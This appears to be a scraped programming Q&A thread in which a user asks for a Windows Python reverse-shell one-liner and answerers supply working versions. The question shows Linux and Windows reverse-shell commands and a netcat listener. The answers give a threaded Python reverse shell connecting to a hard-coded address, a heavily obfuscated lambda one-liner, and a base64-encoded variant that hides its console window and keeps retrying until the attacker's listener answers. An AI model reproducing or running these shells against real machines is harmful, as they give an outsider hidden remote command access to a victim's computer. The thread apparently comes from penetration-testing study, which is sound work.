Python windows reverse shell one liner
Asked Answered
P

4

7

Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner).

I am trying to modify the one for Linux which I have used many times but this is my first time for Windows.

Linux one liner :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Taken from Reverse Shell Cheat Sheet.

So here is what I have been able to do so far:

C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);"

Well, the thing is I do get a connection back just that the shell dies. Anyone knows how to fix this or offer some suggestions?

nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036

So the parameter to subprocess call must be wrong. I can't seem to get it right.

The path to cmd.exe is correct. I can't see any corresponding parameter like -i in the cmd man page.

Can anyone point me in the correct direction, please?

EDIT: Tried without arguments to subprocess call but still the same result. The connection dies immediately.

C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);"
Pacific answered 23/6, 2016 at 12:28 Comment(5)
Although you want this to be a reverse shell, this is a pure Python programming question. Migrating.Betatron
@korockinout13 agreed ; i looked at the man and didnt find it. But i wonder what should i use to get the reverse shell.Pacific
@korockinout13 yes i did try it. I get the connection but it dies.Pacific
Are you doing this using Cygwin? Because the return value from socket.fileno() cannot be used on WindowsFamiliarity
@DavidCullen I am not doing this under Cygwin.Pacific
S
8

(@rockstar: I think you and I are studying the same thing!)

Not a one liner, but learning from David Cullen's answer, I put together this reverse shell for Windows.

import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.0.37",4444))

p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

If anybody can condense this down to a single line, please feel free to edit my post or adapt this into your own answer...

Swarm answered 25/9, 2016 at 4:31 Comment(1)
An ugly approach to make this a one-liner could be to put quotes around everything, replace newlines with \n and wrap everything in exec().Merlon
F
3

From the documentation for socket.fileno():

Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does not have this limitation.

I do not think you can use os.dup2() on the return value of socket.fileno() on Windows unless you are using Cygwin.

I do not think you can do this as a one-liner on Windows because you need a while loop with multiple statements.

Familiarity answered 23/6, 2016 at 12:54 Comment(1)
Thanks . Do you know what should i use instead ?Pacific
B
2

Depending on how you deploy the one liner, you may need to specify the path to python.exe as illustrated in the following code. I hope this help.

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
Batwing answered 2/2, 2017 at 2:58 Comment(0)
M
1

Based on Mark E. Haase's answer, here is my improved version [645 Chars] which:

  • is smaller (threads are now one-liners and as many statements as possible on one line)
  • does not open a new command window (shell=True)
  • supports universal newlines (text=True)
  • waits for the remote host to come online if it's not online yet (while True: try/except)
  • is more reliable (p.stdin.flush() which means the stdin buffer does not need to be filled for the command to be executed)
import os, socket, subprocess, threading, sys

def s2p(s, p):
    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()

def p2s(s, p):
    while True: s.send(p.stdout.read(1).encode())

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
    try: s.connect((<IP ADDR>, <PORT NUMBER>)); break
    except: pass

p=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)

threading.Thread(target=s2p, args=[s,p], daemon=True).start()

threading.Thread(target=p2s, args=[s,p], daemon=True).start()

try: p.wait()
except: s.close(); sys.exit(0)

Or as a (very ugly) one-liner [663 Chars]:

exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n    while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n    try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n    except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")

Or as an obfuscated one-liner (though this can't be used directly as the IP address has to be changed) [892 Chars]:

import base64;exec(base64.b64decode("aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MsIHRocmVhZGluZywgc3lzCmRlZiBzMnAocywgcCk6CiAgICB3aGlsZSBUcnVlOnAuc3RkaW4ud3JpdGUocy5yZWN2KDEwMjQpLmRlY29kZSgpKTsgcC5zdGRpbi5mbHVzaCgpCmRlZiBwMnMocywgcCk6CiAgICB3aGlsZSBUcnVlOiBzLnNlbmQocC5zdGRvdXQucmVhZCgxKS5lbmNvZGUoKSkKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCndoaWxlIFRydWU6CiAgICB0cnk6IHMuY29ubmVjdCgoc3lzLmFyZ3ZbMV0sIGludChzeXMuYXJndlsyXSkpKTsgYnJlYWsKICAgIGV4Y2VwdDogcGFzcwpwPXN1YnByb2Nlc3MuUG9wZW4oWyJwb3dlcnNoZWxsLmV4ZSJdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5TVERPVVQsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSwgc2hlbGw9VHJ1ZSwgdGV4dD1UcnVlKQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1zMnAsIGFyZ3M9W3MscF0sIGRhZW1vbj1UcnVlKS5zdGFydCgpCnRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXAycywgYXJncz1bcyxwXSwgZGFlbW9uPVRydWUpLnN0YXJ0KCkKdHJ5OiBwLndhaXQoKQpleGNlcHQ6IHMuY2xvc2UoKTsgc3lzLmV4aXQoMCk="))

It can be used in the command line directly like this:

python -c 'exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n    while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n    try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n    except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")'
Merlon answered 3/1, 2020 at 12:33 Comment(0)

© 2022 - 2024 — McMap. All rights reserved.